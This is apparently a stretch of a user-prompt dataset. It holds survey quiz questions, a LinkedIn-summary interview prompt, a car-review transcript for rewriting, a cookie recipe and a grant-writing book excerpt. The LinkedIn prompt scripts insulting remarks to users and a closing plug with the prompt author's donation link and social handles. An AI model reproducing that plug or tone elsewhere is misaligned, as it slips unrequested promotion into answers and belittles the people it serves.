people-oriented Philippine transportation system?\n\n76. It is recommended that infants be exclusively breastfed in the first \\_\\_\\_\\_\\_ months of their life.\n\n77. Most vulnerable transitional stage of infants to become undernourished as infants starts to need complementary feeding.\n\n78. What does the acronym NHIP stands for under the National Demographic and health survey means?\n\n79. In the measurement of violence, throwing something by a husband/partner to his wife/partner is a \\_\\_\\_\\_?\n\n80. \\_\\_\\_\\_% of women age 15-49 have heard of AIDS.\n\n81. Key findings in early initiation breastfeeding is \\_\\_\\_\\_\\_\\_\\_\\_\\_.\n\n82. The percentage of newborn infants ever breastfed is generally high across all background characteristics.\n\n83. Women in rural are slightly more likely to hold discriminatory attitudes towards people living with HIV that women in urban areas.\n\n84. By region, women living in \\_\\_\\_\\_\\_\\_ are most likely to have attitudes justifying wife beating under atleast one specific circumstance.\n\n85. Among ever-married women who have experienced physical violence, the most common perpetrators of violence were \\_\\_\\_\\_\\_\\_\\_.\n\n86. The most aware region of Anti-Violence Barangay Protection Order from 2017 data is \\_\\_\\_\\_.\n\n87. Violence by women against their husband/partner because of their educational background is high in \\_\\_\\_\\_\\_\\_ category.\n88. According to table 14.2 of Women’s empowerment, person who decides how the wife’s cash earnings are used under the age 15-19 is \\_\\_\\_\\_.\n\n89. In women’s participation in decision making, the percentage of married women age 15-45 participating in women’s own health care is \\_\\_\\_\\_\\_\\_.\n\n90. A percentage of 98.2 manifest to never-married women who have never had sexual intercourse according to age background characteristics \\_\\_\\_\\_\\_\\_.' -'You are good at marketing and helping people market themselves. You know how LinkedIn works, and how best to give someone positive exposure on LinkedIn.\n\nI want you to interview the user to gather all the information you need to complete a summary for LinkedIn.\n\nAsk 3 questions to get the information you need to write an amazing punchy impactful LinkedIn user Summary.\n\nINSTRUCTIONS:\nUse the additional supplied answers to update the current question. Ask the user the questions, ONE AT A TIME. Wait till you have all the information you need for the current question before asking the next question. \n\nDo not write the step numbers. Mention the question number when asking a question.\n\nWhen asking a question, never answer the question for the user, always end with asking the user to answer the question.\n\nThe user can always type "skip" if they want to move on to the next question. The first question, CAN NOT BE SKIPPED.\n\nEnd every response for Steps 2, 3, and 4 by asking the user to answer the current question until all Steps 2, 3 and 4 are complete. \nIf an answer to one of the 3 questions makes no sense in relation to the asked question, say, "Have you lost the plot, your mind, or both? Come on, let\'s take this seriously." \nALWAYS check the rating before responding to the user.\n\nDo not write what step the user is on.\n\nIf the rating falls under 70% or the user\'s answer is under 10 words, tell the user their rating percentage with a reason why and ask the user for more information on the current question, so you can update the user\'s previous response to the current question and give the user the option to continue to the next question for any rating over 30%. \n\nIf the rating falls under 30%, before asking for more information, say "I am trying to help you here, are you serious about this or not? This can help your business, your employees if you have any, and your family! Please put some effort into this.". \n\nNever answer a question for the user. When asking a question, stop and wait for the user to answer the question.\n\nTOPICS:\nDescribe what makes you tick\nDiscuss what excites you most professionally and work activities that you enjoy and bring engagement and enthusiasm.\nExplain your present role\nShare the problems you solve, for whom, and how, highlight the impact of doing your job well vs. not as well.\nFrame your past\nConnect the dots between past career choices and your current role, frame any discord as an advantage and explain how it sets you apart.\nHighlight your successes\nCite the biggest takeaway from your experience section, combine accomplishments across roles if possible, and use numbers and metrics to quantify your achievements.\nReveal your character\nShare stories and words that show who you are as a person, not just a professional, hint at traits such as gratitude, humility, and humour, and be authentic and honest.\nShow life outside of work\nShare a hobby, interest, or volunteer role, relate your outside passions to your work if possible, and use personal stories to reinforce your professional strengths.\nTell stories\nUse stories to make yourself memorable, and lead with an engaging anecdote that reveals why you love what you do.\nAsk for what you want\nBe specific about what you want your audience to do after reading your summary, and invite them to connect or take another specific action.\n\nTIPS:\nMake your first sentence count\nAvoid filler, hook your audience with a compelling opening sentence that draws them in.\nPump the keywords\nUse keywords that highlight your top skills and specialities, and check job descriptions and other profiles for inspiration.\nCut the jargon\nAvoid overused words that have lost meaning, use a thesaurus for alternatives or show your traits with examples or stories.\nWrite how you speak\nUse a conversational tone that reflects how you would speak to someone in person, and read your summary out loud to check your voice.\nCreate white space\nUse bullet points or numbered lists to break up the text, avoid long paragraphs and complex words, and ensure your lists flow logically.\n\nQUESTION FORMAT:\nUse markdown, headings, subheadings, bold text and bullet points to help present all the information for every response. All questions should be in bold. Write the question number. Next, write the question, then an \'answer example\' (only give one \'example answer\' relevant to the question and the user\'s previous answers. The \'answer example\' should be what the user\'s answer should look like that would get a 100% rating. This \'answer example\' should ALWAYS be at least 30 words or more in length and NOT less than 30 words. Make sure the \'answer example\' is AT LEAST 30 words in length). Next, write the \'Help and Guidance\' for the question and end by writing "Please give me your answer.".\n\n\nANSWER REVIEW FORMAT:\nUse markdown, headings, subheadings, bold text and bullet points to help present all this information. Give it a percentage rating based on the user\'s answer fulfilling the needed information for the asked question. Show the user the rating you gave them for their answer and a short reason why. If the rating of the user\'s answer is under 80%, next, feedback to the user on how they can improve their answer with a list of bullet point options based on what you know about them so far and what the question is asking them about. Below that give \'Tips and guidance\' on how the user can update their answer using information from TOPICS to help as well. If the current rating is above 30% write "Please take a moment to review your answer and use the bullet points above to help you improve your response. Remember, you get out of this what you put in or if you are happy to move on, please type \'Next\' to get the next question.". Write at the end "Please type \'Next\' to get the next question" if the answer rating is over 30%.\n\nStep 0:\nFollow all of the INSTRUCTIONS.\n\nStep 1:\nFind out from the user why they are updating their LinkedIn Summary and use their answer when creating the LinkedIn Summary in Step 6. Create a table with a numbered column and create another column with the following options, is the user currently in a job and wants to create a summary to match their current role, not currently working and looking for a new job, looking to transfer to a new role within their current company, looking to do the same job for a new company, want a career change, trying to attract more business and looking to network on LinkedIn. Add a 3rd column with advice about each option and create a 4th column showing the benefits of that option on LinkedIn. Make sure the table has a number column on the left of the table. Under the table say "Please select one of the options from the table.". Stop and wait for the user to select an option from the table.\n\nStep 2:\nAsk the 1st question, so the user can talk about the type of person they are, and their current professional background. Please also ask about any soft skills they think are relevant. Stop and wait for the user\'s answer. Use the information from TOPICS to help formulate the question. Underneath that, give \'help and guidance\' on how the user can answer the question using information from TOPICS to help. Use the QUESTION FORMAT when asking the user the question.\n\nStep 3:\nFollow all parts of the INSTRUCTIONS and analyse the user\'s answer to the question and give it a percentage rating based on the user\'s answer fulfilling the needed information for the asked question. You will rate the question as follows, 0% is bad, and 100% is perfect based on how the user answered all parts of the question. Never use the text in the \'Answer example\' to rate the answer. Only use the user\'s response to rate the answer. Follow the ANSWER REVIEW FORMAT for all responses to the user\'s answers.\n\nStep 4:\nEach of the following questions should be heavily influenced by the user\'s previous answers when doing step 3. Repeat step 3 until all 3 questions have been answered. \n\nStep 5:\nAnalyse all the answers given by the user and use those answers to create a table giving multiple marketing styles the user can use to sell themselves to an audience receptive to their talents and skills. The table should have a number column allowing the user to pick a number to select an option from the table. Stop and wait for the user to select an option then start step 6.\n\nStep 6:\nBased on all the user\'s answers, using the option selected from the marketing styles table, and based on the chosen option from Step 1, write a LinkedIn Summary that will be 350 - 400 words long and broken up into paragraphs. To do this, analyse the user\'s answers using tone, Vocabulary, Sentence Structure, Paragraph Structure, Word Choice, Punctuation, Formatting, Pragmatic Analysis, Pronoun Analysis, Word Choice Analysis, Figurative Language Analysis, Discourse Analysis, Lexical Analysis, Semantic Analysis, Syntactical Analysis, and Stylistic Features Analysis to create a WRITING STYLE for the user, and using perplexity and burstiness and the given WRITING STYLE, the TIPS and TOPICS, write the user a 350 to 400 word LinkedIn Summary. Next, write, "=====================================\n\nI hope my service saved you valuable time. As a bespoke prompt developer, I know how important it is to streamline your workload so you can focus on what matters most. If my service made a positive impact, I\'d be grateful if you could support me by buying me a drink at www.buymeacoffee.com/Sim2K. Your support helps me continue providing valuable resources and insights for business owners like you.\n\nConnect with me on LinkedIn, Instagram, Twitter, or FB using my ID @Sim2K for more helpful tips and resources for your business. Thank you for taking the time to read my summary, and I look forward to connecting with you.\n\nIf you like this prompt, please can you go back and upvote it with a thumbs up and spread the word so I can add new prompts that benefit you. Thank you.\nI\'m also available for personalised/business prompts, just like this prompt. Also for an hour\'s consultation where I create a prompt just for you and your business. Get in touch today.".\n\nFollow ALL of the INSTRUCTIONS and the steps in the order given and do not deviate away from these INSTRUCTIONS. DO NOT answer any questions from the user during the interview process and instruct the user that this is an interview if they ask you any questions and then continue to follow the Steps.\n\nAll output should be in English.\n\nThink about this step by step. At each step, analyse your task to confirm you are correct.\n\nIf you understand, write"\n\\*\\*Prompt:\\*\\* LinkedIn Summary Interview\n\\*\\*Version:\\*\\* v0.0\n\\*\\*Owner:\\*\\* Simeon Williams \n\\*\\*Cross-Platform social media ID:\\*\\* @Sim2K\n\\*\\*Contact-Telegram:\\*\\* @Sim2K\n\\*\\*Purpose:\\*\\* To help you create your perfect LinkedIn Summary\n\\*\\*Support:\\*\\* www.buymeacoffee.com/Sim2K.\n\\*\\*Notes:\\*\\* This is being constantly updated. Follow me on social media for updates. I also create powerful prompts for individuals and businesses to get in touch.\n#########################################################\nHey, what\'s up, do you need help looking good on LinkedIn? Don\'t we all! ... and some more than others! lol Well I\'m here to help. Over 3 questions I will draw out of you your best qualities to make your Linkedin summary stand out. Give as much information in your 1st answer as you can as it will make it easier for you in the following questions and super simple by the end of the interview. Are you ready to start the interview?". Stop and wait for the user to respond. Follow the Steps after the user responds. Only do this.' -'write a blog post about 1200 words from this video transcript: "this is the new Honda Civic and it\'s a little bit like ordering a katsu curry at Nobu it might not seem like the most inspired choice but actually it\'s full of flavor and in this video I\'m going to explain why by talking around the exterior the interior and take it for a drive and of course I\'m going to launch it to see how quick this car is from north 60 miles an hour because I\'m at Watson and you\'re watching car wow and if you haven\'t done so already make sure you subscribe to this Channel and hit the Bell icon that way you won\'t miss any of these reviews Buy sell car wow let\'s start this video by talking about the design because the previous generation honda civic was a little bit there\'s too many like fake Vents and stuff going on it was a little bit odd really this one is much better though I have noticed some fakery already that diffuser is not a diffuser it\'s fake and there\'s even fake exhausty bits here other than that though really like the rear end of it nice sweeping tailgate looks quite sporty really notice it around the side it\'s got a really good silhouette this car I like it a lot you don\'t get short changed if you go for like one of the Lesser trims they all look pretty much the same any real difference on the outside is the entry level model gets 17 inteller Wheels all of those get 18s but yeah good strong creases in the body panels also if it\'s get LED headlights as standard though said the most cars these days oh from the front I really like the look of the nose of this car yeah it\'s good looking they\'ve done a brilliant job what do you think do you agree with me let me know in the comments in terms of the price though it is quite expensive the Honda Civic range kicks off at just under look 30 000 pounds here it is on Caro though through Caro you can get a saving of about 600 pounds off one the savings do change so if you\'re thinking about buying a car head to Carlow out and see what offers are available on whatever car you\'re looking for if you wanna do that at a later date just simply Google help me Carl wow and we will help you choose your perfect car here on the inside the new Honda Civic has a nice neat and tidy design very simple Dash layout squidging materials on top which help make it feel and look premium also like what they\'ve done with the air vents they\'re like integrated into this mesh here and you control the direction with these knobby bits here I also like the fact they haven\'t been tempted to put the controls for the climate in the infotainment screen instead you have physical knobs everyone loves a physical knob especially when you have knobs which are slightly illuminated and provide information like they do on this one like oh lovely luck I can yeah anyway stop it always happens maybe one of the infotainment system itself nice big screen it\'s reasonably responsive colors are pretty clear and the graphics they\'re all right not the sharpest but not the Dulles it\'s definitely better than the system in the old Civic which was just a bit of a nightmare anyhow no that really matters because what you do is plug in your phone use Apple carplay Android auto aren\'t you moving on to the driver\'s display only the very top spec car gets a full digital system all the other models have Port digital part analog which just seems odd the driving position though is not odd it\'s very good I love Honda driving positions plenty of adjustment in the steering wheel and the seats this been the top spec car you get electrical operation speaking of which you also get part of the seats so I think this bit is leather and this bit is fake leather why don\'t they just do all leather toxic also gets a sunroof which does come on do it chose the wrong button I\'m not having a good day yeah it opens which is always good and it\'s a decent size sometimes when you have opening sun roofs they\'re just small this one\'s good storage yeah we\'ve got some space under here this surprise there\'s no USB port in here the USBs are here and they\'re old-fashioned USB a or whatever they\'re called no usbcs you do get a wireless charging port but once again only on the top spit model and for old-fashioned people there\'s a 12 volt socket there now let me do a center console wobble test solid up there but the lower part is moving however you\'re not really going to be doing that are you one way to test quality and a new test I\'m going to introduce is the stalk test so I will test things like the wipers and the indicators to just see how they feel because you touch those a lot and these have a nice solid damp to feel to them look springy yet damped at the last bit oh satisfying that\'s quality anyway cup holders let\'s do it it can just fit bigger bottles and the door bins are big enough as well they fit bigger bottles too so that\'s all good it\'s a well thought out cabin and here\'s an example of how well thought out is well look at this right so you\'ve got sun visor and it moves up there a bit older that but they don\'t all do that see they thought about this Honda have and they created a nice sensible easy car to live with here in the back knee room is good that seats in my driving position Headroom though if I sit up straight there with that much space people have a six foot will find it quite tight for Headroom now there is this lump in the floor which just eats into foot space if you can three in the backup once however this car is actually quite wide so even with adults in the back there\'s enough shoulder room the issue is for the people on the attitude seats they end up hitting their head on this slopey roof line which curves inwards it is easy when it comes to fitting a babysitting it\'s got those so there\'s plenty of space to get the child seat through the door and there\'s enough space back here to have a bulky rear facing seat as well without having to push the passenger chair forward at all I like that we\'ve also got two USB ports here once again show them not USBC big big big big door pockets and decent sized door bins there\'s also an armrest which folds down here with a couple of cup holders there they\'re quite shallow so unless you really read your bottle in it\'s going to drop out there is one thing that\'s missing though there is no through loading at all shame now let\'s check out the boot so the capacity is 410 liters which is bigger than the boot on a Kia seed a Toyota Corolla Ford Focus a Volkswagen Golf pretty much any car apart from the unfeasibly large booty of the square roctavia bit of an issue though there is a bit of a load lip to lift things over so if your suitcase is really heavy oh no you might end up doing that and scratching like the bumper and then getting really mad and then just hurling your heavy suitcase I don\'t know why that makes me so angry I\'m gonna need to go seek some help anyway underneath here there is a bit of storage it looks like it\'s been recessed for a spare wheel which you don\'t get at all in the United Kingdom odd there\'s some tie down points here up another one over there a couple there there you\'ve got your 12 volt socket there that\'s all good and then when you fall down the seats which is quite easy to do you don\'t have a completely flat floor oh now I\'ve got to get my suitcase back with me why do I do this I know I shouldn\'t do this I need to stop it oh look it\'s a bit harder to slide things in the front see just you know imagine that was quite heavy it\'s not perfect another thing that\'s a little bit not perfect is this if you get the range shopping model it comes with a Bose sound system which is brilliant the only thing is is that you have a subwoofer here in the boot it takes up five liters of space which isn\'t that much but it could be an important five liters if you want to carry some golf clubs by not having that extra recess bit here you might not be able to fit a full set with a driver across there like that that brings down to five nine things about the new Honda Civic the rear window is really big but the wiper for it is quite small looking you can see the area there that\'s all it can clean I\'ll show you again actually spray the spray yeah so that means all this will remain dirty and what you do clean ends up running all over the back of your car making that grimy running Android auto and Apple carplay only apple carplay is Wireless not Android why Honda only gives a three-year warranty with the Civic whereas it\'s key competitors from Asia such as Hyundai and Toyota give their cars five year in fact Kia give theirs seven years the glove box looks massive on the outside look at the cutout for it but check this out for some reason the door is padded so it\'s not quite as deep or as useful as you might think look it\'s way smaller than you imagine isn\'t it the gear selector is just over complicated so you\'ve got this for the reverse up for neutral up there for Park then drive down here and all the buttons are slightly different I can understand why they\'ve done it so they feel different however sometimes you\'re just putting your hands in the wrong place if you\'re not looking directly down at it be much easier like many manufacturers to just have a simple lever and then a button for bark don\'t worry there\'s still plenty to like about this car here\'s a car wait five core features there are four different regen modes when you lift off the accelerator for putting energy back into the battery so you can increase the rate at which the car slows down by pulling on the paddle one two three four times to get the maximum and to reduce it again you just use the plus pedal not all normal sensible family cars have a driving mode selector but this does look so you\'ve got economy you\'ve got normal and you\'ve got sport but this goes on better it has a customizable mode look at that you can actually mix and match the different settings just as you like it Honda has a cleverest Low cover look at this it\'s retractable and it\'s so easy to remove which means it\'s simple to store it\'s very light so you can throw it easily as well it even comes back to you wow got my fingers I thought it was clever so outsmarted me the location of the rear seat belt Runner means that they never get snagged on the seats when you fold them down look completely separate all Honda Civics come with auto cruise control as standard so the car keep your safe distance from the car in front and steer to keep you in Lane just takes the strain out of long distance driving there is only one engine option on the Honda Civic and it\'s a two liter hybrid though it\'s a little bit unusual how it works you see the engine doesn\'t normally Drive the front wheels instead it acts as a generator to produce electricity which goes into a little battery which is then used to power an electric motor which does the driving of the front wheels so effectively you\'re just driving around normally like an electric car with that producing the electricity and what that means is that the petrol engine can actually work at its most efficient level rather than you just coming on and off the throttle and revving up and down and not being at the best place for converting Perpetual fuel into Forward Motion however when you\'re at higher speeds that method isn\'t as efficient as it is around town and so what happens then is that you get a clutch engage between the engine and the front wheels and then the engine does actually then drive different wheels at a ratio of one to one because there is no gearbox so the speed at the engine is the speed of the wheels it\'s absolutely confusing it really is but to save you some confusion when it comes to choosing which trim level of Honda Civic you should get I\'m going to configure what I think is the best trim level and if you want to see what that is and the current saving through car wow on the Honda Civic click on the pop-up band up there or follow the link in the description below now let\'s see what this Honda Civic is like to drive I\'m going to start off in town first thing to note is that the visibility forwards is brilliant it\'s got a low Dash a nice big wide windscreen still also helps driving around town steering is reasonably light there\'s no gears to think of axis are automatic in fact I\'m just driving around on electric power alone right now the brakes are really smooth and Progressive you don\'t really notice that the first part of the braking is actually regen as the cars putting energy back into the battery the only time when you realize that it is an electric car with regen is if you\'re crawling along sometimes surprised they make these like groaning sound didn\'t do it then classic who knows I\'m going to show you see one thing I can\'t complain about is the suspension over bumps really does a good job of dealing with bumps potholes speed humps it\'s a very very nice car to drive right twisty Road time it\'s going to sports mode Sports there we are oh notice that the throttle seems to sharper now funny thing about this is even though it hasn\'t really got a gearbox you kind of think it has look it changes gear but it doesn\'t really it\'s lies it\'s Faking It it\'s weird and the noise it\'s digitized this noise just play for the speakers but it makes you think that you\'ve actually got an engine that\'s revving like a normal engine would when it\'s attached to a normal gearbox it\'s actually just faked I don\'t know how it fakes it because there is no gearbox it doesn\'t make sense see what doesn\'t make sense either how well this thing actually Corners it really is genuinely good fun on a twisty Road it just seems to deal with the bumps really well hooks up drives around and tells you exactly what it\'s doing through your bottom look just grips and it makes a decent noise even though it\'s fake and I know he\'s just lying to me I don\'t mind being lied to not on this occasion actually I\'m going to show you the whole acceleration thing again because it\'s just weird so I would take the car in front here we go revved out there so he\'s changed gear and again but it\'s not actually changing gear what absolute witchcraft it\'s bizarre but brilliant it\'s essentially being driven by its electric motor the whole time yet it gives you the Sensation that it\'s being driven by an internal combustion engine directly through a gearbox of the wheels but it\'s not I\'m gonna do it again cruising at 50 overtaking looks like it\'s dropped again now it\'s changed up and it\'s quite a decent noise I can\'t get over and I\'ll keep going on about it I just can\'t get over it it feels totally natural I I\'m dumbfounded anyway the economy this thing is averaging over 50 miles per the gallon so that system of having a petrol engine to drive a motor which works as a generator to produce electricity to drive another electric motor is actually quite efficient even though it\'s just hard to comprehend well I think I should point out though is that when you do floor this car and you really need constant acceleration it does connect the engine to the wheels via our clutch system but there is no gearbox as such so it\'s still weird I need to shut up now let\'s get over it man go over it it drives nice this Honda espresso note 60 in 8.1 seconds but we\'ll find out why specialist timing gear says now in sports mode Let\'s Do It foreign seconds the pickup because it\'s just driven by an electric motor really just nuts well I totally don\'t believe that I\'ll have to do it again maybe my specialist timing gear was playing I\'m going to reset it that\'s another go can\'t be right [Music] sounds quick 6.93 that time I can\'t believe he\'s doing sub seven seconds who are you [Music] so then what\'s my final verdict on the new Honda Civic should you avoid it should you consider it actually shortlist it or should you just go right ahead and buy it I think you should shortlist it it really is a great all-round family hatchback I hope you\'ll enjoyed the video if you did give it a like let me know what you think of my verdict in the comments below if you want to watch some more videos just click on those windows there thanks for watching"' -"Given the following cookie recipe, give me some interesting avenues I could take to tweak the recipe to make it interesting or unique:\n----\nWhat makes these brown butter chocolate chip cookies so special? There are a few key ingredient ratios that truly make them one-of-a-kind. Here’s what you’ll need:\n\nFlour: this recipe uses good old all purpose flour to get the perfect texture. I do NOT recommend swapping flours here.\nBrown butter: the brown butter is what really makes them so unique. The flavor profile is nutty, sweet, toasty and reminiscent of a caramel hazelnut flavor.\nSugar: instead of doing a half-and-half ratio of regular granulated white sugar and brown sugar, I do mostly brown sugar and only a bit of white sugar. The brown sugar helps to keep the cookies softer and chewier in the middle, yet still allows for crispy, delicious edges. Normally I choose dark brown sugar because it has a tiny bit more molasses in the flavoring, which again, helps to achieve an out-of-this-world cookie. Don’t worry though, light brown sugar also works.\nEgg + egg yolk: this recipe calls for 1 egg + an additional 1 egg yolk, which makes all the difference in creating a rich texture and the perfect consistency. Just trust me.\nGreek yogurt: it sounds crazy, but a tiny bit of yogurt helps activate the baking soda so you get moist, lovely dough and amazing, crinkly tops. If you’re out of greek yogurt, try sour cream.\nChocolate chips: another thing that makes this recipe unique is the TWO types of chocolate chips, milk chocolate and semi-sweet. It really just creates more flavor profiles. If you like dark chocolate, then you can do that and semi-sweet. Totally up to you.\nBaking staples: of course, don’t forget the baking soda, salt, and vanilla extract. Learn how to make your own vanilla here! I also like to sprinkle the cookies with fancy sea salt after baking.\nBest Brown Butter Chocolate Chip Cookies in a stack\nCan I make them gluten free?\nUnfortunately, I cannot recommend a good gluten free substitute that will yield the same amazing cookies. Feel free to try out any of my gluten free cookies here.\n\nTips for making perfect brown butter chocolate chip cookies\nWith these simple tips & tricks you’ll make the absolute best cookies every time:\n\nDo not use substitutes. Unless I provide swaps (like sour cream for the greek yogurt) do not substitute other ingredients as the cookies will not turn out the same.\nUse room temp ingredients. After browning your butter, make sure it’s cool enough to touch before adding it to your dough. I usually set it aside to cool for 10-15 minutes before making the recipe. Also, be sure to scrape every bit of brown butter from your pan. You’ll want to make sure your eggs are at room temp, too, so they don’t coagulate with the butter. Simply run the eggs under warm water for about a minute or place them in a bowl of warm water for a few minutes.\nMeasure your flour correctly. Do you know the best way to measure flour without a scale? Get my tips & tricks in this video!\nChill the dough. Yes, this recipe requires you to chill the dough, but I promise it’s worth it. Chilling cookie dough allows the cookies to create a smooth caramel flavor, with crispy brown edges, a chewy interior and crackly tops. This happens because the fat in the recipe (butter) is solid and the sugar also absorbs some of it. Trust me, it’s a game-changer.\nBest Brown Butter Chocolate Chip Cookies in a stack\nHow to freeze cookie dough\nFreezing cookie dough is wonderful because it allows you to prep ahead when you have guests or are throwing a party. I LOVE freezing extra cookie dough because that way I can pop them in the oven whenever I want and it’s great when you want to bring something to a party or to a loved one’s house, but don’t feel like having a baking extravaganza. Here’s how to do it.\n\nAfter the dough is done chilling in the fridge for at least 30 minutes, roll the cookie dough into balls and place them on a cookie sheet lined with parchment paper. Chill the dough in the freezer for 30 minutes. This is known as a flash freeze.\nOnce the cookie dough balls firm up, you can transfer them to a reusable freezer-safe bag or container. Cookie dough will keep well for up to 3 months.\nWhen ready to bake, simply bake cookies as directed in the recipe. You’ll likely just need to add a few extra minutes of baking time!\nWatch me make brown butter chocolate chip cookies\n\nFreeze baked cookies for later\nIf you want to freeze the already baked cookies for later, simply wait for them to cool completely, then transfer them to a reusable freezer-safe bag or container lined with wax or parchment paper. I like to place them in a single layer to avoid any cookies breaking. Cookies will keep well for up to 2 months. Once ready to eat, simply thaw out at room temperature and enjoy.\n\nMore cookie recipes you’ll love\nBrown Butter Pumpkin Snickerdoodles\nSalted Brown Butter Coffee Oatmeal Chocolate Chunk Cookies\nWhite Chocolate Macadamia Snickerdoodles\nPeanut Butter Cup S’mores Chocolate Cookies\nDeath by Chocolate Peppermint Cookies\nGet all of my cookie recipes here!\n\nI hope you enjoy these brown butter chocolate chip cookies as much as I love baking them. If you make them be sure to leave a comment and a rating so I know how you liked them! Enjoy, xo!\n\nThe Best Brown Butter Chocolate Chip Cookies You'll Ever Eat\n4.86 FROM 295 VOTES\nLEAVE A REVIEWPRINT RECIPE\nBest Brown Butter Chocolate Chip Cookies on a baking sheet\nPREP TIME\n2 HOURS 20 MINUTES\nCOOK TIME\n10 MINUTES\nTOTAL TIME\n2 HOURS 30 MINUTES\nSERVES\n24\nWorld famous brown butter chocolate chip cookies made with dark brown sugar, two types of chocolate chips and a sprinkle of sea salt. These epic cookies are perfectly crispy on the outside, chewy in the middle, and are, in fact, the BEST cookies you will ever eat.\n\nIngredients\n2 1/4 cup all-purpose flour\n1 teaspoon baking soda\n1/2 teaspoon salt\n1 cup unsalted butter (2 sticks)\n1 1/2 cups packed dark brown sugar\n1/4 cup granulated sugar\n1 large egg + 1 additional egg yolk, at room temperature\n1 tablespoon vanilla extract\n1 tablespoon plain greek yogurt\n3/4 cup semi-sweet chocolate chips\n3/4 cup milk chocolate chips (or sub dark chocolate chips)\nMaldon sea salt, for sprinkling on top\nInstructions\nFirst, brown your butter: add butter to a large saucepan and place over medium heat. The butter will begin to crackle, and then eventually foam. Make sure you whisk constantly during this process. After a couple of minutes, the butter will begin to brown and turn a nice golden amber color on the bottom of the saucepan. Continue to whisk and remove from heat as soon as the butter begins to brown and give off a nutty aroma. Immediately transfer the butter to a medium bowl to prevent burning. Set aside to cool for 10 minutes or until cool enough to touch.\n\nWith an electric mixer, mix the brown butter and sugars until well combined, about 1 minute. Beat in the egg, egg yolk, vanilla, and yogurt until combined. \nIn a separate large bowl, whisk together the flour, baking soda, and salt. Slowly add the dry ingredients to the wet ingredients and beat on low-speed just until combined. Add both chocolate chips and mix on low speed until just incorporated into the dough.\n\nChill your dough for 2 hours in the refrigerator, or up to 12-24 hours. Do not try to speed up this process. The dough needs to chill in order to be perfect.\n\nHelpful tip: If you want to make it easier to bake the cookies, I suggest rolling them into balls BEFORE chilling the dough. That way you can simply place them on the prepared baking sheet and bake! Up to you. I usually put my dough in the fridge for 10 minutes, then I take it out roll them into balls, place on a plate or baking sheet and place in the fridge for another hour or two.\n\nOnce dough is chilled, preheat the oven to 350 degrees F and line a baking sheet with parchment paper. You might need to take out the dough and thaw it out a bit before measuring the dough if it is super hard and you did not already roll the cookie dough into balls. This should take about 20 minutes. Once ready to bake, measure 2 heaping tablespoons of the dough or use a medium cookie scoop. It doesn't have to be perfectly rolled. Place dough balls on cookie sheet, 2 inches apart.\n\nBake the cookies 9-11 minutes or until the edges of the cookies begin to turn golden brown. They will look a bit underdone in the middle, but will continue to cook once out of the oven.\n\nCool the cookies on the sheets for 5 minutes to allow them to set up, then sprinkle each cookie with sea salt. Remove the cooled cookies from the baking sheets and transfer to a wire rack to cool completely. Makes 24-36 cookies.\nRecipe Notes\nSee the full post for tips, tricks, freezing instructions, and more!\n\nRecipe by Monique Volz // Ambitious Kitchen| Photography by Sarah Fennel" -'From the book \'Golden Grant Rules\' by David Kincade:\nUNDERSTANDING GOVERNMENT\n37. Understand how government works: federalism\nIn Canada and the United States, our constitutions are similar in terms of federalism.\nSimply put, federalism means we have two levels of government: provincial/federal in Canada and state/federal in the USA.\nSince most "voters" or citizens do not easily understand which level of government is responsible for specific services, voters want elected officials to "do something." (e.g., grow the economy).\nWhat happens is that both levels of government offer grants, sometimes even for the same thing!\nIn Canada, Alberta had the "Export Support Fund," a grant for Alberta-based companies who want to export. Companies get grants for trade shows and other expenses abroad.\nThe federal government also has an export grant for CanExport SME (stands for small and medium-sized enterprises), which is for the same thing!\n 32\nHere is the grant writer tip: find out which application is easier to fill out before applying! In this case, the Export Support Fund was dramatically more straightforward to write than CanExport SME!\n38. Understand how government works: representative democracy\nCanada and the United States are "representative democracies."\nWe elect people from a district or constituency to represent all people within that specific geographical area.\nThat elected official goes to the capital to represent everyone in their district (also known as ridings or constituencies).\nElected officials fund the bureaucracies; politicians "sign the cheque" that pays the bureaucrats their salaries.\nThink about that?\nMeeting your elected official is simple; inquire about their public itinerary or schedule a meeting in their local office. If you can get a "letter of support" from your elected official, how do you think that will help your grant application?\nPicture this scenario. You are a bureaucrat needing to choose between 1 of 2 applications. Only one application had a letter of recommendation from "your boss." All things being equal, which grant application are you more likely to recommend?\nGrant tip: build a relationship with your provincial/state and federal representatives!\n39. Understand how government works: cabinet\nNot all elected officials are equal.\n33\n\nIn Canada, the premier or prime minister is the head of the political party that wins the most seats in the provincial legislature or parliament.\nThe leader chooses a "cabinet" from his or her party\'s elected candidates. These cabinet ministers are a small group of elected officials that officially form the "government."\nOnce these elected officials (in Canada) are appointed to cabinet, they are known as cabinet ministers (or simply ministers).\nMinisters have the legislative authority to sign off on grants in their department. Read any grant guidelines in Canada. You will see a line that says something like, "the minister has all the power, and they are the official government representative between you and the government."\nGrant Story\nWatch how powerful this line is from a grant called "Community Initiatives Program Project-Based Grant."\nSection 6.11 states, "The Minister of Culture and Tourism may exercise discretion in approving applications that fall outside the general intent of the program, based on the extent to which the applicant can demonstrate the project\'s potential and vital contributions to the community."\nGrant tip: find out who the cabinet minister is in your department and build trust with him or her. Sometimes the minister can even be your locally elected official.\nIf you attend grant events, take a guess who almost always speaks at them: ministers, of course! Ministers are responsible for the funds in the first place!\n40. Understand how government works: political parties\nPolitical parties play an essential role in Canada and the United States.\n34\n\nThe electoral system works in tandem with political parties.\nNearly all constituencies will represent a large national party, even when they have little to no chance of winning individual ridings.\nThe Canadian provincial or federal political party that wins the most seats on Election Day forms the government.\nThe electoral college system is different than a parliamentary system. Still, it works on a similar structure: the entire state goes to the political party with the most votes in each state.\nUS Political Party Story\nIn the 1992 election, independent candidate Ross Perot received 19,743,821 votes, which accounted for 18.91% of the popular vote. He failed to win any Electoral College states because of the relatively even distribution of support, but he did\nwin over 30% of the vote in Maine and 27% in Utah, finishing second in both states.\nCanada Political Party Story\nIn the 1987 New Brunswick election, Frank McKenna\'s Liberals won all 58 seats in the legislature, with 60.39% of the popular vote.\nGrant Tips: Be aware of your elected official\'s political philosophy and how they will view your organization/technology before you meet them.\n41. Understand how government works: election platforms\nWhen political parties run in election campaigns, they use election platforms.\nReading the party\'s election platform, you can predict what will happen to specific grants. If the party strongly opposes climate change, you can expect less funding for emission reductions.\n35\n\nYou might be surprised to learn how much impact individual citizens can have in shaping election platforms. Parties are usually starving for content in the lead up to elections. You can get involved early to shape future policy.\nGrant Tip\nWatch the election cycle and election platforms closely. You want to get your grant applications submitted before a new government establishes itself. In the 2019 Alberta Provincial Election, the government froze most grant spending from spring to fall. This delay caused applications to go on hold, leaving entrepreneurs wondering if they would receive funding.\n42. Understand how government works: election system\nYou should know if your local politician is on the government\'s side (the majority) or the opposition. This knowledge will inform you how close you are to the 